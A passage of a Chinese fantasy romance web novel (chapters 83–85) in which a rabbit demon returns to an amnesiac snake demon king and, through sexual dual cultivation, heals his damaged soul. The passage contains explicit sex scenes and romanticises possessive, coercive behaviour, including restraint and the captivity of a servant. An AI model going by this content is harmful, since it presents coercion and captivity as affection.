玉扶换了个不太忙的七师姐求助,实不是她太想半妖,而是半妖脑子坏了,如果觉得她逃跑发怒追来修界怎么办?那不赤、裸裸的挑衅? 她真的为了和平操碎了心。 但真不是师姐们不帮她,而是现下按玉扶要求能通往妖王城的妖隙,难寻。 单是玉扶回来的这通道,出口其实也不是合欢宗的宗门内,而是经过几多传送阵的连接,直接送到合欢宗内,免得玉扶一个兔妖落在外头,她们来不及接应。 玉扶突然明白为什么这次出来头会晕了。 她不得不多留几日,等财力雄厚的七师姐替她想办法。 但她也没闲着,与五师姐请教了好多神魂受损的问题。 三日后,玉扶在一众师姐们“女大不中留”的目光中,又去了妖域。 此时恰是妖王凯旋的第二日。 妖王城气象一新,幼妖欢声,成妖痛饮阔论,多在讲一些妖王如何英勇强悍,妖王的妖躯撼山翻江,幼妖惊叹连连,要求成妖继续讲。 成妖又道狼族鱼死网破,碎丹狂暴,利爪抓透妖王的妖躯,但最后还是妖王更强,将妖狼王的狼齿生拔而下…… 玉扶只听到了半妖受伤,当下,更快地赶往内城。 内城也有变化,像是从上到下都被梳理过一遍般,各妖职责更明晰。 玉扶入内,竟然受到了阻拦,才几日,她竟然就不是兔大王了吗? 玉扶不开心地绕过守卫,直接偷潜了进去,继而直往妖王宫。 大概一刻钟的时间,妖王宫出现在眼前,乌沉沉的宫殿色调,玉扶还是干脆潜行进去。 快乐的小鸟妖们蔫了似的,不在天上飞了,举止都透着一种怕惊动了暴君的谨慎。 玉扶抓住熟悉的青鸟妖,问妖王在何处。 青鸟妖显然惊讶极了,慌张地挣动翅膀,嗓音压得极低,像是要哭了:“兔大王,我还以为你不再回来了。” 玉扶给她擦了擦泪,学着师姐们安慰她时候的模样,将小鸟妖抱在呃好吧,靠在肩上。 不一会儿,玉扶就懂了,她走的第一日没有回来,等在湖岸上的妖兽也等了整整一夜,后来扎下水去寻,才确认妖王的王后可能是跑了,然后妖兽也挣脱车舆,跑了。 当然,现在据说已经被抓回来,关在兽厩里,天天在哭嚎,而小鸟妖们是第二日察觉到不对,在妖王宫中满宫地慌张乱飞,维护治安的其他妖众也意识到不好,满城地寻,却皆不敢给妖王传讯,但妖王还是知道了。 玉扶:“他很生气吗?” 青鸟点头。 玉扶微唉了声,满脸的没办法,她都说了她会回来的呢,真是离不开她的坏蛇。 青鸟被她的表情震惊了,这是在骄傲得意吧? 玉扶不再与青鸟多言,往“冷静室”的方向飞,她自己取的名字,半妖总在那一边发狂,一边压迫人修复原法阵,还一边要冷静下来,不是冷静室是什么? 几乎是在她靠近一瞬,蛇息就冲撞开了门扉,黑漆楠木的的门扉扇得啪啪作响。 玉扶被庞大妖息掀起的气流卷入,有蛇首从高处俯下眼:“你还知道回来?” 彻底显露本相的半妖,蛇躯比以往见到的都大,垂下的头,阴影便遮住了大半落在玉扶周身的光芒。 玉扶如同被吓到一般地仰头,双眼竟不足以盛下他,许是早就在不断适应的缘故,太过庞大的身躯,虽足够威慑,足够压迫,但她在害怕中还有余力去欣赏些旁的什么,譬如,他的蛇首不是狰狞的三角,而是更优美的流线形,与颈部的连接过于平滑,会让玉扶不受控地想起他小蛇时候的形态,呆呆憨憨的。 鳞甲的蓝也特别漂亮,光线的不同,同一身的鳞竟能显出不同的深浅色泽来,即便最上等的釉彩,也难以形容他整条身躯漾开的,流动的、美丽的光泽。 半妖更垂下蛇首,悬在玉扶头顶上方一些,他无需吐信,无需露出毒牙,存在的本身,便让空气沉重如铅。 他在生气!在以这种威慑的方式表达他的情绪。 但这时候的距离,已能让玉扶触碰到他。 玉扶抱他了。 少女的手圈在蛇首下方一点位置,将他整个脑袋压在肩上,冰凉的蛇鳞贴着她温热的颈,肌肤的细腻感快要将他的怒气融化。 她在呜呜地说着话,身子有点抖:“你不要吓我了。” “我不是回来了嘛。” 太娇气,也太犯规,就好像她做什么事都是对的,包括在他不知的情况下扔下他,只是让蜘蛛精在事后通知他而已,这能算得上对吗? 况且,她做下的还不止是这些。 当下,他的蛇首一压,少女整个身形被他压倒,堪堪要触及地砖,他的手铺垫在下,轻轻一托,蛇形褪去,显出光洁着上身的男体:“兔妖,你太放肆。” “谁人令你自由出入我妖王宫城?” 玉扶不高兴地撅了撅嘴:“你啊。” “你又没让妖看着我,不就是可以随便去哪的意思吗?” 不止是她这样认为,大抵所有留守宫城的妖众也是这样认为,王后难道不是哪里都可去吗? 半妖瞳仁缩了一缩,无可反驳。 活泼又浪漫的小兔,天生就不该被禁锢自由,尤其是,她爱慕他,他潜意识中就相信了她不会离他而去。 他怒,但她真的没有令他等太久,她果然回来了,乖到还没等到他去追寻她。 可是,仍旧不能轻易原谅! “你放走了本君的俘虏。” 肯定的语调。 他已经发现了。 对此,玉扶终于心虚了,顾左言他:“我听说你受伤了?” 不屑的冷哼从半妖的神情中带出,掰正玉扶的脸颊:“我的俘虏,你带去了哪?“ “是谁在接应你?” 半妖的拇指压上了玉扶的唇瓣,扬起的尾调,每个音节都在点玉扶似的,不被她将话题带偏。 玉扶甫一张口,就先咬到了半妖的手,撇开:“我可以解释。” 半妖盯着少女说话时的粉色舌尖,心都在发痒,拇指固定,指节送入地抵住她的口: “解释?兔妖,本君不需要的解释,你并不知那些人修与于本君的意义。” “你要为你的所为付出代价。” 玉扶呜呜向后,半妖低头来亲。 她解释不出来了。 她的唇瓣完全失去自主权地被又亲又咬,她不再被压着,而是大腿被向上一捞,旋跨到了半妖的身上。 简直要怀疑半妖是在故意找借口欺负她。 因为她听到他终于哈出来的快乐了。 淫蛇是快乐的,从与兔妖的第一次亲吻,他就像是寻到了快乐的开关,想缠着她,吃下她,战场的一次次宣泄,都不足以打消念头。 人修的意义? 他已经快乐得要忘了对传送阵另一端的探寻。 玉扶呼呼地喘气,脖颈难受地后昂,耳朵从啃噬中挣出不过一会儿,亲吻又顺着脖颈向上咬住。 耳珠如同泡在温水里一般,全身都跟着发热。 她的耳朵真的很敏感的,躲又躲不掉,“嘭”的一声,真正的耳朵从头顶冒了出来,触感的转移与轻快,玉扶腰肢都轻松得塌了塌。 淫蛇抬起头,定定盯着玉扶粉嫩软倒的兔耳。 蛇信贪婪地卷走少女发出的薄汗。 第83章 大概几个呼吸, 也或许更短的时间,玉扶感受到了半妖停下亲吻。 半妖很有兴趣地摸上了玉扶的兔耳,细小的绒毛, 敏-感极了的耳尖,轻轻划过, 就颤得厉害, 简直要软到他手中似的。 用食指和大拇指搓了搓内廓, 薄得像羊皮纸一样的触感, 连淡色的血管都隐约可见。 玉扶的本体耳朵真的是她最怕被触碰的地方了, 过往很多很多次,她都没有放出来过,只一会的功夫, 她的耳朵就从根部开始泛红, 迅速蔓延至耳尖。 她受不了这处被碰,软软地垂了下来,然后想收回,却被湿乎乎的唇抿住。 光是喷薄出来的呼吸, 就已经在挑战着她承受的底线。 “别碰呜痒” 玉扶的声音比平时低了好几度, 鼻音哼得人什么脾气都要没了。 可惜半妖不是人, 他偏要贴着她的耳朵威胁:“不许收起来,我要看着它动。” 说着又是轻咬一下兔耳尖。 玉扶几乎是在刹那间就被感觉冲袭了,整个身子都剧烈地颤抖了一下。 从来没有一刻, 会这样讨厌自己过分纤敏的耳朵。 只是被咬了一口而已啊! 她哆嗦着,跌下半妖的腿, 向外爬。 半妖恶劣地看,等到她快要起身时,猛然掀动妖息, 结实的黑漆门“哐当”合上,非人的蛇尾卷上少女的脚踝,拉回。 他覆上玉扶,手掌自肩而下,贴上玉扶撑地的手,缓缓地摩,直到契入,少女的指缝,将她的整个手掌握。 乌黑蜷曲的发,与少女柔顺的发从同一侧落下,不管哪个角度看,皆是如︽地贴合。 玉扶完全爬不动了,半妖非但还有一手捞着她的肚子,还有条坏尾巴尖,缠啊缠地勾着她的脚腕磨。 兔耳被贴着呼气地说话:“阿扶,还没开始,为什么跑?” “你不是爱慕我么?” “你难道不想与我做夫妻,嗯?” 每说一句,他便将少女按得更贴近自己,明明已经近得无法再近,可他就是觉得他们可以更近,例如,撕=开她的衣裙—— 进到里面去。 尾巴兴奋得不再满足脚踝,向上,再向上地贴。 玉扶夹紧了双月退,两只眸子雾濛濛地潮艳,她也说不清,为什么要跑,她对危险的敏锐总是先一步思维做出反应。 他咬她的耳朵尖,他变态的霪心比阿裴还猛烈。 玉扶总有种下限要再次被突破的胆惧。 她撑不住地软塌下去,几乎快趴到了地上,背后硬邦邦的腹肌也跟着不分离。 她扭头,却没有直接看到半妖,而是看到了背后的池子,只有水,没有药。 也是这一扭头,半妖的吻随之亲来,眼神异常的亮,充满着侵略。 冷静久了的半妖,似乎彻底丢弃了理智,只剩下了压制久了,爆发出来的变态。 玉扶被亲得细密的睫毛乱颤,衣裳都不知道什么时候散开,热得发红的肩背,又有吻落下。 他真的好会亲啊。 她开始想放弃挣扎了。 身子跟着半妖的轻蹭—— 摇动。 又想,她是妖嘛,妖哪里就有那么容易坏掉? 她彻底趴下了,兔耳一下一下地颤,发出了更不一样的哼唧声。 又清又媚,激得人想更嚣张,于是半妖将她翻过来。 脸红透了的兔妖,眼瞳变得显出妖性的红,妖纹泛着一层汗出来的水光,小脸被衬得越发娇艳。 她下意识地拱起腰。 她似乎很习惯这种事? 想法一经冒出,就有更多被忽视的细节浮现,兔妖似乎从一开始就对自己熟稔得过分? 她还放了他捕的人修。 她难道也是认识过去的他吗? 一股莫名的不爽霎时压下了慾念,涌动的情绪竟开始怀疑兔妖对他当真是喜欢吗? 还是说,只是从他身上寻找过去她认识那人? 黑漆漆的眼瞳凝下,他放下少女的腿,放纵的尾巴从膝弯撤离。 他想再看看眼前的兔妖,最好能看到她的心里去。 戛然而止的亲热,让玉扶所有为此做好的准备都一空,耳朵软软地垂了下来,不知想什么的咬着下唇。 总这样,总这样,他真的总这样! 把人撩拨得高高的,将她逼得与他一样放开,然后又忍啊忍地等她自己送上前。 什么都记不得也还这样! 玉扶双眼更红了,拱起腰张口就是一咬,稍偏倚了一点地咬在了胸=-侧。 咬人的兔子—— 半妖厮气捏她脖颈,好半晌才将玉扶揪下来,一圈鲜明的红印,下足了劲。 不消反应,又是一口,狠狠在肩上。 反转了似的,压在下面的成了半妖。 少女满身乱糟糟地坐着他:“我忍你好久了!” “你凶什么凶,凶了又不干到最后!” “你又想我求你,你简直坏得没边了!” 说着,她还猛拍了一下在她眼皮下乱颤的蛇尾巴尖。 霎时,身下的半妖猛地一颤,爽=到了似的,一声啪响拍到了玉扶腰下。 玉扶震惊张唇:“你你” “我就知道你有新花样你不是喜欢忍?”玉扶掐着半妖的脖颈摇:“你倒是收回去!” “收不回去。” “阿扶,你在对我生气?” “你在对我生气。” 半妖自问自答,瞳仁闪着兴奋的光,像是把自己哄好似的,开始撑坐起身。 少女不住往下滑,柔软的,贴近的压力。 他喉颈都上昂地滑动:“告诉我,你认识我是不是,嗯?” “为何放走人修,我想听你解释了。” 明明是再经不过的问题,也是玉扶一开始提出的解释,可从眼下的半妖口中问出,简直荡-= 极了。 蛇类大抵就是如此,就喜欢磨来磨去,人形时也不例外,双手背撑在后,腹肌一伏一伏。 玉扶得分开膝******删了已经求放过****努力稳定。 可即便这样,她也感觉被影响了。 情-潮涌动得完全关不住。 短暂鼓起的气势,一下就倾了个干净,她又想认输了。 跪起的双腿发麻地打着颤,说不清是什么刺激的泪,一下随着双臂抱住半妖,黏在了半妖的颈部,她忍不住地承认了:“认识。” “我好早就认识你了。” “是你忘记了我,还欺负我,吓我……” “你想去传送阵另一端寻的也是我。” “你把我落下了,我等了好久,没有等到你。” “你还把我忘记了——” 玉扶兔耳猛地颤折,不断强调的“忘记”被强势地打断。 即便早已为此做好准备,也险些放声。 但犹未叫出声,半妖的舌便将她的声音全吃了下去,唯剩下了着急的吞咽与闷闷的哼唧。 一下又一下。 玉扶只能和他抱在一起。 兔耳红得发烫,颤得倾来倾去。 于是又被咬住:“阿扶,我的小兔,我好快乐。” “原来是这样,你是来寻我的。” 难怪难怪从一见到玉扶,他便觉放不下,难怪,他们总像是认识很久了一样,难怪,她敢这样和他闹气。 她可真好啊,记得过去的他,还会包容现在的他。 心热情浓,他真的太爱玉扶了,只想紧紧地与她契在一起。 他引她环住自己,不断吃着耳地说着没下限的情话:“阿扶,我太开心了。” “你咬得我好紧。” “我们以前也这样吗?” 玉扶勾住他的颈,身子簌簌地抖,不断短促地抽气。 感官都被挤得好像只有上下两处。 一处兔耳,一处…… 他每感动一下,就更拥紧,往里。 玉扶费力地纳,凌乱的发都湿淋淋地贴着发红发烫的颊靥,她很费力才能抽出更多的注意听他在说什么,以前? 以前当然也有,只是听他亲口提及,还一边试一边问“是这样吗”、“那是以前好,还是现在好?”、“你会嫌弃我都记不起来吗?” …… 不免还是生出些古怪,总觉得更羞了。 他妖性中的底色,似乎就是如此的恶劣。 玉扶忍不了时会抓他,会挤他,这时半妖就会换了一副可怜的论调: “阿扶,我经常头痛,想发狂。” “我忍得好难受,为什么无论如何都想不起来……” 好凄哀的声。 他伤的是神魂啊,玉扶柔软单纯的心肠都被牵动了,她像一个溺爱淫蛇的妻子,更努力地接纳他,爱意从心底流出,也从身体里流出。 昏昏间,她冒出神魂小兔钻入半妖的识海,只一眼便被吓退。 半妖被情慾沾满的眼眸也一霎盯向她:“阿扶,你看到了?” 他清楚知晓自己神魂的拼凑与破碎,一条破破烂烂的小蛇,很多如同被撕扯啃掉的伤口。 原本他执着的只有传送阵另一端令他在意的存在,后来,给不出玉扶自己的名,他便想想起名就行,现在,知晓了他们有过的过去后。 真是不甘心啊。 那些记忆一定很美妙,他们有没有更难忘的相遇?更柔情的相处? 想着,他低下眼,埋入玉扶地吸闻:“阿扶,我的乖小兔,再包容我一点吧。” 玉扶抗拒不,四肢又发软,与心脏一般柔软的手,帮着他摸。 他果然更挑战玉扶的下线了,换了根就罢了,还真用半妖的形态让她握。 密集的小尖刺,将她的手心都刺得麻麻的。 他舒服得眼眶都红了,蛇尾翻来覆去地拍打,最后将二人都卷入了水中。 仍不消停:“阿扶,我就是太爱你了。” “我应该将这里的地砖全部换成玉石的,你躺上面一定很漂亮。” “我若是一直想不起来你还愿意当我的王后吗?” “阿扶,你好好啊,你将我吃到了这里。” 他的手贴上玉扶丈量,乌黑的发藻一般逶迤,自后贴上玉扶的耳,面皮与妖纹诡丽非常。 第84章 没有神魂交融的持续供力, 没几次玉扶就吃不消了。 她既想结束,又想着惊奇一瞥下的神魂小蛇,破破烂烂的, 像是重新拼凑而成,左一个啃出来缺口, 右一个啃出来的缺口, 像是神魂被不知道什么玩意吃掉了。 真是奇异, 神魂损成那样了, 他竟只是失去记忆, 狂躁了一点罢了。 甚至还成了妖王。 古妖血脉的强悍,简直超出了玉扶的想象。 迷濛濛地抬眼,她想, 五师姐抛给她的神魂相关的书籍与功法, 或许会有些用,想再看一次他的神魂。 然而,才抵上半妖的肩,就睡了过去。 兴奋的大妖好半晌没有动, 直到兴奋停歇, 才缓缓撤出。 真可怜, 她的阿扶,被他欺负得真可怜。 他的手压上她的肚皮,霎时浑浊一小片浴池。 但并不可惜, 他甚至想得有些冰冷,阿裴?息尘? 似乎唤的都是他。 可一个人真的能有两个如此不同的唤法吗? 长指打着圈地勾, 指根处的妖纹进进出出,接了满手。 真该让阿扶看看,她到底有多贪吃。 哗啦哗啦的水掀开般地从身上淌落, 半妖抱着少女于水中走出:“阿扶,我的小兔,既入了我怀,可就只能是我的王后了。” 半妖笑了起来,华美愉悦中难掩阴间。 * 玉扶喘不过气地从梦中惊醒。 掀被坐起,看自己好好的方才松了一口气。 大抵是同半妖久了,她其实已经很久没做过被大蛇缠得快窒息的梦了。 她将此归因于昨日太过激烈。 室内的动静惊动了小鸟妖们,先是青鸟隔着屏风问她可是醒了,经了她的肯定,一群衣裳同等鲜丽的鸟妖方才鱼贯而入,送巾帕洗漱,再移来衣桁供她选衣,端来托盘挑选簪饰…… 玉扶眼都要看花了,之前也还没这么夸张呢。 她任由青鸟给她挑选装扮,眼睛将殿室内重新扫了又扫,大变样了,多出了许多华而不实的装饰,连门扉隔扇都换了雕工精美的。 玉扶不由凑近青鸟问:“我是离开几日不是几年吧?” 青鸟点头。 玉扶:“那怎么大变样了呢?” 青鸟:“主君想令大王住得更舒服。” 玉扶其实不讲究这些的,她都不与师姐们住一处,只爱自己舒适的兔子窝,一出门便是山林草木。 但被用心的感觉总是令人愉悦的,玉扶换好衣的下一刻便是问:“他呢?” 青鸟让开身,用翅膀指了一个方向。 玉扶扑到窗边,瞧见了没有打扮的大妖,在补救花草,那一片地无疑是玉扶早前翻好土,撒下种子的地方,还用术法催发一点儿嫩芽。 现在毁了大半。 青鸟不知何时靠近的,偷偷告状一般放低着声:“大王不见了,主君很生气,蛇尾拍毁了不少地方。” 玉扶气鼓了腮,坏蛇,她可是在干守护和平的大事呢。 他一点都不知道理解体谅! 昨日还怪她放走人修! 她后来似乎也没有解释原因,只记得在一味地怪他忘记了她,然后就奇异地滚在了一起。 玉扶气着气着脸蛋就红了,目光更投在了半妖身上,没有华丽外袍的大妖,那一头质感极好的发也足以将他衬得华美,此刻领口微敞,露出的妖纹上还有她咬下的痕迹。 真是好妖啊。 窗被玉扶“啪”地合上,开始从纳物中狂掏师姐们给的东西,她没有整理的习惯,一些书籍玉简还有瓶瓶罐罐,不掏出来根本不好辨别用途。 就只好一起掏出来了。 如此堆了满地,才将药品做出了区分,用得上的药一类,其他的一类。 功法一类,各种画册小像一类。 青鸟倒是在帮她整理,却在见得步入殿中的妖王,没有发出声响地退到了外头。 半妖两手都捡着滚到他脚边的瓷瓶,一瓶名字一看就毒性很强,一瓶名字一看就情-慾很强。 他将右手的瓶子收起,毒性很强的放了回去。 自然地向玉在看的东西探身,还真是出人意料的不堪。 自后落下的影子,终于惊动了专心的玉扶,吓得合上书:“你不是还在种花吗?” “某只小兔在看我,突然不看了,我来瞧瞧什么东西比我还好看。” 半妖轻声一笑地将视线落在被玉扶合起的书册,眼波中全是任由采撷的大方。 玉扶被他看得脸都红了,她才不是想采·补他。 不对,就算是要采也不是现在,那样破破烂烂的小蛇,她根本采不下去手。 她看的是这次回宗门,五师姐扔给她的功法,据说是对神魂有修复作用的双·修功法。 地上摆着的,除去顺带翻出来的,也都是一些用得上的药品。 就在方才,她见他小心地补救压倒的花草,其实有一瞬是难过的,不是难过那些毁坏的花草,而是想,半妖他是不是也并不想破坏的呢?他的神魂那样破烂,是不是每一刻其实都在忍疼呢? 他是真的狂躁,还是只能狂躁? 他有着息尘那种对平静下来的追求,又有着阿裴那样无法宣泄的不满,杂糅在一起的意识,令他行事都显得割裂,就好像坏得不尽然,好得也差点意思。 矛盾至极,也痛苦至极,像是一场还不够成功的融合。 少女眼中清澈,看久了,恍若会下雨。 半妖手掌覆上:“阿扶,不要用这种心疼的眼神看我。” “我会想吃你的。” 他感受到自己内心细微的变化,那份失去的记忆,令他无比的空虚,他缺的不再只是自己的过去,而是还有与另一人的情感。 可他真的无比恶劣,竟想利用这份缺失,诱阿扶再多疼疼如今的他。 她看到了他的神魂,他故意放给她看的。 半妖忍不住将玉扶全部圈入怀里,惶惶不安的心,似乎只有完完全全地将她覆盖住才能踏实。 他想起被吃进去的感觉,想一直待在里面才好。 玉扶蹭出脑袋,看看发出喟叹的半妖,又看看外头的高高日头。 大淫蛇,真是不分时间地点地发-=情! 她的耳朵就是尺,一听他的声音就知道,一定是又在想了! 玉扶哼哼地推开他,收拾自己一地的东西,先挑了好几瓶对神魂有镇静作用的丹药,递给半妖:“这个可是我三师姐给我的,一个厉害的丹师炼的,你吃了,一定比泡澡的药有用。” 又一会,玉扶挑出可舒缓情绪的黑鱼佩送给大妖:“这个可以舒缓坏情绪,不发脾气。” 半妖张开手,玉扶研究着怎么给她系上去。 隐约间,半妖脑中闪过一些极快的画面,翱翔的鸟背,懒散的蛇妖,还有也为他系什么的兔妖。 画面好得他都嫉妒了。 如果一直想不起来的话,他一定,一定要创造更好的画面覆盖过去。 不,他现在就要! 半妖抓住了玉扶的手腕:“阿扶,你喜欢什么?” “世界和平。”玉扶脱口而出。 半妖:“ ……” 很好,再不能计较她放走了人修。 玉扶开始往纳物中重新装东西,品类实在太多了,一时竟装得有些慌忙,半妖在后头捡,藏了一些她也不曾发现。 然而,也是这个不曾发现,当日里,半妖就吃错了药。 玉扶师姐们给的自然都是好东西,就算用处有点偏,那也绝对是好东西,半妖这误服的药名叫“桃花劫”,用后吧,面若桃花,情动难抑,修为越高,反噬越烈。 这才入夜,半妖就袒=着胸,在喘。 黑色的纱帐,能朦胧见他起伏的腰线,伸出来拉住玉扶的手,筋骨分明地绷起,拇指一下又一下地摸着她的手背。 而另一手沿着胯骨向下,***删了求求过吧***。 玉扶哪里能经得住诱惑,她就是要睡-他! 不等邀请,便爬上了床。 半妖妖孽地笑,眼眸简直将她看透了似的带着勾子。 “阿扶,坐上来些。” 玉扶挪了挪。 “再上来些。” 玉扶又上去了些。 半妖轻蔑地“啧”声,没见过这样既色又怂的兔子,一连挪两次,才动了寸许。 干脆地,两手掌上少女,径直移到了颌下能碰之处。 玉扶的手都无处可落了,床榻太大,前处根本没有床栏可撑,向下撑着床面,又太远,只得努力地坐稳。 半妖盯着她,眼神晦暗道:“阿扶,自己撩起来。” 单薄的寝衣抬起。 肤白胜雪,无遮挡地,轻盈呈现。 半妖呼吸起伏,带动得玉扶也难以描述地不安,手稍下落一点儿,半妖动了手指,他戳她肚子。 小小一戳,玉扶就痒痒得受不了,收力地向后躲。 又是一声轻“啧”,满是不满,大手从月退侧绕到后向前推。 玉扶突然就被亲上了,***已删*****。 舌尖覆一下又推一下。 “嗯”玉扶足弓绷直地挺跪,忍不住哼唧。 时间久了,******已删*****,些微的刺痛一下一下地刺激。 玉扶向下弓身,双手揪抱半妖的脑袋:“呜呜,可以了可以了停下。” 真的很荒唐,半妖失忆,她可没有,上一次时,她分明觉得再不要了。 可面临时,还是经不住诱惑。 声响不断,没有因为她的喊停而停下,布帛的撕裂,半妖更欢了。 双膝发抖,凉风透过纱帐撩入,空荡荡的。 玉扶心理加身体地更加羞耻。 且没了那一层遮挡,半妖力道更大,更无所顾忌了起来。 玉扶明明想躲一躲,却总是更失力地往下坠。 坠狠了,半妖就打她后头,用手托起来,调整到最合适的姿势,眼里都冒着坏光地自下看她:“阿扶,我早就想你这样坐我了。” “当大王的感觉,喜欢吗?” 玉扶又呜呜地哭,她想当的才不是这种大王。 哭声中,玉扶又被亲了好几口。 昏暗的一方空间。 少女泪雾迷离,男子勃勃兴起。 已分不清是药的原因,还是妖本身的原因。 第85章 “不可以亲我嘴巴。” 玉扶非常嫌弃地拒绝, 头摇得直如拨浪鼓。 什么自己的味道,她一点都不好奇。 半妖没有强迫,一口咬在了其他的地方, 但显然带上了怨气。 都咬得她疼了。 玉扶推他伏在胸口的脑袋:“要月中了” 半妖慢条斯理地吐出,低眼看得仔细, 倏然恶意拨弄一下: “月中得很漂亮。” 坏蛇, 完全大坏蛇! 玉扶叫都叫不出来地喘, 腰肢生理性地弓起, 脸颊滚烫得想将自己藏起来才好。 他太没羞耻了, 欺负她,还欺负她的小兔子。 眼泪一点一点地垂。 刺刺的酥痛感,她总感觉自己也越来越不正常了。 就好像, 她也吃了“桃花劫”一般。 一些说不清的, 不想被发现的情绪,本能驱使她躲起来。 可隐隐地,又有一些旁的期待。 一双红得可怜的眼,如同观察半妖反应地总是虚虚上撩, 无辜得人头皮发麻。 她这样的眼神, 半妖不知道见了多少次。 每一次无有例外地, 他就是想欺负她,看她哭。 几乎是玉扶弓腰的下一刻,半妖猛地按下她的肩, 将她展开,令她的美丽全部呈在眼下。 “阿扶, 我的小兔子,以前的我有和你说过吗?好漂亮,你哭起来漂亮得——” “想狠狠欺负你。” “越哭越想。” 玉扶呆呆地瞠着眼, 有点意外,又不是很意外,更多的是,震惊于半妖那毫不掩饰的爱意与恶意。 他本就是这样的妖。 他又咬她了,还让她看: “阿扶,现在一样肿了。” 啊,真是要疯了,玉扶仰躺着,疑似失去了所有气力。 可她知道的,她期待的似乎就是这个。 玉扶抱紧了半妖,开始回应。 她不再等了,额抵上半妖的额,通过神魂将白日才翻出的功法分享。 她是自私贪玩的小兔,她真的不爱辛苦的,也吝啬自己修为的浪费。 她喜欢将自己的修为一点点地攒多,一点一点地从大妖那啃来,然后抱着要溢出来的安心感,平安稳当地变厉害。 可要用帮半妖修补神魂的双修功法,她就不得不做出一点小牺牲,她需在双修中以自己的修为为媒介,用自己的神魂去温养受伤的神魂。 她的修为会往下掉的。 她本来还没做好准备的,都是他太妖了!太会诱惑她了! 玉扶恨恨地,神魂挤入半妖的识海,外头是她在被欺负,可这里头,是她的神魂占了上风。 透明的神魂兔子,压倒了破破烂烂的小蛇,啊呜一口,吞下。 功法运转,他们之间倏然多了一种奇妙的联系,温暖的,流淌着爱意的,满足得快要融化到一起。 躁动的小蛇安静了下来。 意识到玉扶在做什么的半妖,心腔一时酸酸沉沉的,睁开的眼眸,情绪浓稠得犹若惊涛。 阿扶,阿扶,阿扶…… 一遍一遍地咀嚼她的名,爱意汹涌澎湃,整张脸埋入了少女的颈发。 亲吻变得缱绻,每一下都像感受着难得的甜。 近乎膜拜地,想亲遍她全身。 还会想,他根本不值得阿扶对他这样好。 他邪恶狂躁,总想对她宣泄恶欲,欺负得她流泪,他还将她的好伙伴蜘蛛精关了起来,日日夜夜地为他们织绣婚服,他整肃了妖王城里外,随时做好了去将她抢来,令她哪都不能去,只能做他的王后…… 他做下的,没来得及做下的恶事,可真是多啊。 半妖开始虔诚地忏悔,动作变得越发轻柔。 他满心满眼注意着少女的感受,于神魂之外,予她极尽享受的抚爱。 而神魂之内,所有纤敏神经的连接,彼此的情绪与爱意,潮涌般汇聚在一处,彼此感受着,分享着,重新编织着。 点点灵光附着在小蛇的神魂缺失处,仿若清透的粘液,覆上了伤口,长久的燥与痛,都得到了救赎。 幸福得想要哭出来。 紧紧相拥,想要永久地连接下去。 玉扶真是要被半妖拥得喘不过气了,可是她好喜欢他这样喜欢她啊。 瞳孔迷散,于无尽的喜爱中失了神。 * 日月升落,纱帐摇动,殿内的光线亮了暗,暗了又亮。 男子从中掀开纱帐,光线倾泻,少女像一团云朵,柔柔软软地拥着被。 隐隐的,半妖觉得自己想起了什么,也该想起什么,阿扶不留余力地滋补他的神魂。 她的神魂小兔都缩小了一圈。 披衣起身,从储物中翻出了不少残破的物件。 彼时,他方从传送阵中跌出,只记于传送阵的传送空间中似乎经历了什么争斗,全盖妖躯的强悍才没有被绞在传送阵中,与其一起损毁。 而识海中,仍有什么在摧毁着他的意志,他发狂地将其祛除。 再后来,便是顺势成了妖王。 他盯着翻出来的几件物品,不过是残破了的发带,与有了裂痕的宝剑,剑穗只剩下了半个绳结…… 当初不解为何不舍得扔,如今见着这些,一些画面一幕又一幕地跳出。 他有时是一人,有时又是另一人,阿扶一会是小兔,一会又是少女,怕过他,恼过他,还直言过要睡他—— 连不成段,却总觉深刻。 唇角淡起柔软的笑意,整个人戾气都消散不少,显出一种不同妖王平日的正常气质来。 当他走过时,小鸟妖们惊讶无比,目光一次次看向寝殿方向。 兔大王,伟大,无需多言。 * 神魂的劳累,令玉扶一觉睡得颇为久。 这次她睁眼见到的是形如鬼魂一样的蛛娘。 蛛娘怨气很大地等玉扶醒来,眼珠子定定的,眼下黑青像是熬了几十个大夜。 玉扶吓了一跳,缓缓地趿着鞋坐在床沿,问她:“你怎么这样了?” 而且,还出现在她这里,她四下张望,确认自己就是在寝殿呢。 蛛娘深吸几口气,对小鸟妖们招手,衣桁被推上前,蛛娘强挤出笑:“你睡几日,恐怕不知道妖王城的热闹,我给你准备了新衣,你可要出去逛逛?” 玉扶狐疑地看她,跟着她到屏风后去换衣。 没了旁的妖在,蛛娘张牙舞爪起来,成熟的美人皮上出现蜘蛛的形态,变成了四双眼盯着玉扶:“臭兔子,你倒是逍遥,我险些被你害死。” 玉扶一边听她说,一边安慰地替她拍背,原来,蛛娘真的是熬了好多个日夜,妖王根本就没因为玉扶的离开,而放弃要玉扶为王后的打算,甚至彻底囚禁了蛛娘,令她没日没夜地赶工婚服。 直到前日才被放出。 当然这不是最崩溃的,最崩溃的是,妖王又对婚服不着急了,而且,她知晓了玉扶光顾着与妖王欢爱,白白令她多熬了几日。 也即是说,若是玉扶从重回妖王城的第一日,就想起她的话,她便不用多受几日的苦。 玉扶难得很乖地受了蛛娘的一通埋怨,她也不想的,但还不是半妖太妖。 妖嘛,双修起来,自然就不知天地为何物了,一下子过去好几日再正常不过了,加上这次她出力多,又多睡了几日。 那蛛娘真的很受摧残了。 玉扶决定以后对蛛娘好一些,等她当了王后,她要做主将蛛娘的客栈扩大! 不过:“为什么说婚服又不着急了呢?” 她问。 “不想娶你了呗。”蛛娘说得理所应当。 妖嘛,都是随性在一起与否,成亲大婚什么的还真不是必要,也少得可怜。 但妖王自然是不同的,谁会不想瞧瞧堪匹统一妖域的妖王的王后,这几日,无论是外城还是内城,都在围绕着妖王和他的大婚而狂欢。 只是她也实在弄不懂那位的想法,早前分明急不可耐地想娶兔妖,前日良心发现地放了她出来,却又不急了,瞧着也不像是不想娶了,大抵是延后一类的想法。 然而,说不出是见不得兔妖太得意,还是一点小小的报复,她故意将此说得兔妖要被抛弃一样。 果然,兔妖不高兴地撅嘴,哼了她一鼻子,扭头就绕出了屏风。 玉扶才不信蛛娘嘴里的话,她只是想,半妖是不是想起来什么了。 一想到这种可能,玉扶大跨步地迈出门槛,又突然地扭头问:“你方才说妖王城的热闹是什么?” 蛛娘眼被闪了一下,只见穿着她亲手挑的衣衫的兔妖,半身落于光下,腰肢盈握,眼眸清澈,面容又娇又纯,真是集尽了灵秀。 也真是够让人喜欢的。 不等蛛娘回答,一群小鸟妖们就先给玉扶解惑了: “大王,主君一统妖域,撤了对人修的追捕,还接受任何妖族的加入。” “显见不会同人修打起来,如今妖王城内外都在为此狂欢。” 